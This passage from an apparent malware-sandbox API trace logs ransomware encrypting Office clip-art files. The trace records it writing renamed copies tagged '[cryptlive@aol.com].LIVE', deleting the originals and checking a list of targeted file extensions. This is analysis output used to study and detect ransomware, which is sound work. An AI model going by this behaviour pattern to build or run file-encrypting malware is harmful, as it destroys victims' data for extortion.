dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.345] SetEndOfFile (hFile=0x328) returned 1 [0137.348] CloseHandle (hObject=0x328) returned 1 [0137.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.349] lstrlenW (lpString=".doc") returned 4 [0137.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString=".docx") returned 5 [0137.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.349] lstrlenW (lpString=".pdf") returned 4 [0137.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString=".xls") returned 4 [0137.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.349] lstrlenW (lpString=".xlsx") returned 5 [0137.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.349] lstrlenW (lpString=".ppt") returned 4 [0137.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.349] lstrlenW (lpString=".zip") returned 4 [0137.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.349] lstrlenW (lpString=".rar") returned 4 [0137.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString=".bz2") returned 4 [0137.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString=".7z") returned 3 [0137.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.349] lstrlenW (lpString=".dbf") returned 4 [0137.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.349] lstrlenW (lpString=".1cd") returned 4 [0137.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.349] lstrlenW (lpString=".jpg") returned 4 [0137.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.350] lstrlenW (lpString=".doc") returned 4 [0137.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString=".docx") returned 5 [0137.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.350] lstrlenW (lpString=".pdf") returned 4 [0137.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString=".xls") returned 4 [0137.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.350] lstrlenW (lpString=".xlsx") returned 5 [0137.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.350] lstrlenW (lpString=".ppt") returned 4 [0137.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.350] lstrlenW (lpString=".zip") returned 4 [0137.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.350] lstrlenW (lpString=".rar") returned 4 [0137.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString=".bz2") returned 4 [0137.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString=".7z") returned 3 [0137.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.350] lstrlenW (lpString=".dbf") returned 4 [0137.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.350] lstrlenW (lpString=".1cd") returned 4 [0137.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63 [0137.350] lstrlenW (lpString=".jpg") returned 4 [0137.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.350] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.351] lstrlenW (lpString="BL00265_.WMF") returned 12 [0137.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.351] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5752) returned 1 [0137.351] CloseHandle (hObject=0x328) returned 1 [0137.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0137.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.351] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.352] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.352] GetLastError () returned 0x0 [0137.352] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1678, lpOverlapped=0x0) returned 1 [0137.354] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1680, lpOverlapped=0x0) returned 1 [0137.355] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.355] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.355] SetEndOfFile (hFile=0x39c) returned 1 [0137.355] CloseHandle (hObject=0x39c) returned 1 [0137.355] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.355] SetEndOfFile (hFile=0x328) returned 1 [0137.357] CloseHandle (hObject=0x328) returned 1 [0137.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0137.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.358] lstrlenW (lpString=".doc") returned 4 [0137.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.358] lstrlenW (lpString=".docx") returned 5 [0137.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.358] lstrlenW (lpString=".pdf") returned 4 [0137.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString=".xls") returned 4 [0137.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.359] lstrlenW (lpString=".xlsx") returned 5 [0137.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.359] lstrlenW (lpString=".ppt") returned 4 [0137.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.359] lstrlenW (lpString=".zip") returned 4 [0137.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.359] lstrlenW (lpString=".rar") returned 4 [0137.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString=".bz2") returned 4 [0137.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString=".7z") returned 3 [0137.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.359] lstrlenW (lpString=".dbf") returned 4 [0137.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.359] lstrlenW (lpString=".1cd") returned 4 [0137.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.359] lstrlenW (lpString=".jpg") returned 4 [0137.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.359] lstrlenW (lpString=".doc") returned 4 [0137.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString=".docx") returned 5 [0137.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.359] lstrlenW (lpString=".pdf") returned 4 [0137.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.359] lstrlenW (lpString=".xls") returned 4 [0137.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.359] lstrlenW (lpString=".xlsx") returned 5 [0137.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.360] lstrlenW (lpString=".ppt") returned 4 [0137.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.360] lstrlenW (lpString=".zip") returned 4 [0137.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.360] lstrlenW (lpString=".rar") returned 4 [0137.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.360] lstrlenW (lpString=".bz2") returned 4 [0137.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.360] lstrlenW (lpString=".7z") returned 3 [0137.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.360] lstrlenW (lpString=".dbf") returned 4 [0137.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.360] lstrlenW (lpString=".1cd") returned 4 [0137.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0137.360] lstrlenW (lpString=".jpg") returned 4 [0137.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.360] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.360] lstrlenW (lpString="BL00267_.WMF") returned 12 [0137.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.361] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2644) returned 1 [0137.361] CloseHandle (hObject=0x328) returned 1 [0137.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x20 [0137.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.361] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.361] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.362] GetLastError () returned 0x0 [0137.362] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xa54, lpOverlapped=0x0) returned 1 [0137.363] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xa60, lpOverlapped=0x0) returned 1 [0137.364] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.364] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.364] SetEndOfFile (hFile=0x39c) returned 1 [0137.364] CloseHandle (hObject=0x39c) returned 1 [0137.365] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.365] SetEndOfFile (hFile=0x328) returned 1 [0137.367] CloseHandle (hObject=0x328) returned 1 [0137.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf")) returned 1 [0137.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.368] lstrlenW (lpString=".doc") returned 4 [0137.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.368] lstrlenW (lpString=".docx") returned 5 [0137.368] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.368] lstrlenW (lpString=".pdf") returned 4 [0137.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.368] lstrlenW (lpString=".xls") returned 4 [0137.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.368] lstrlenW (lpString=".xlsx") returned 5 [0137.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.368] lstrlenW (lpString=".ppt") returned 4 [0137.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.368] lstrlenW (lpString=".zip") returned 4 [0137.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.368] lstrlenW (lpString=".rar") returned 4 [0137.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.368] lstrlenW (lpString=".bz2") returned 4 [0137.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.368] lstrlenW (lpString=".7z") returned 3 [0137.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.368] lstrlenW (lpString=".dbf") returned 4 [0137.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.368] lstrlenW (lpString=".1cd") returned 4 [0137.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString=".jpg") returned 4 [0137.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString=".doc") returned 4 [0137.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString=".docx") returned 5 [0137.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.369] lstrlenW (lpString=".pdf") returned 4 [0137.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString=".xls") returned 4 [0137.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.369] lstrlenW (lpString=".xlsx") returned 5 [0137.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.369] lstrlenW (lpString=".ppt") returned 4 [0137.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString=".zip") returned 4 [0137.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.369] lstrlenW (lpString=".rar") returned 4 [0137.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString=".bz2") returned 4 [0137.369] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString=".7z") returned 3 [0137.369] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString=".dbf") returned 4 [0137.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString=".1cd") returned 4 [0137.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 63 [0137.369] lstrlenW (lpString=".jpg") returned 4 [0137.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.370] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.370] lstrlenW (lpString="BL00269_.WMF") returned 12 [0137.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.370] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=5272) returned 1 [0137.370] CloseHandle (hObject=0x328) returned 1 [0137.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0137.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0137.371] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.371] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.371] GetLastError () returned 0x0 [0137.371] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1498, lpOverlapped=0x0) returned 1 [0137.373] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0137.374] ReadFile (in: hFile=0x328, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.374] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.374] SetEndOfFile (hFile=0x39c) returned 1 [0137.374] CloseHandle (hObject=0x39c) returned 1 [0137.374] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.374] SetEndOfFile (hFile=0x328) returned 1 [0137.376] CloseHandle (hObject=0x328) returned 1 [0137.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.377] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0137.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0137.377] lstrlenW (lpString="C:\\Program Files\\Microsoft 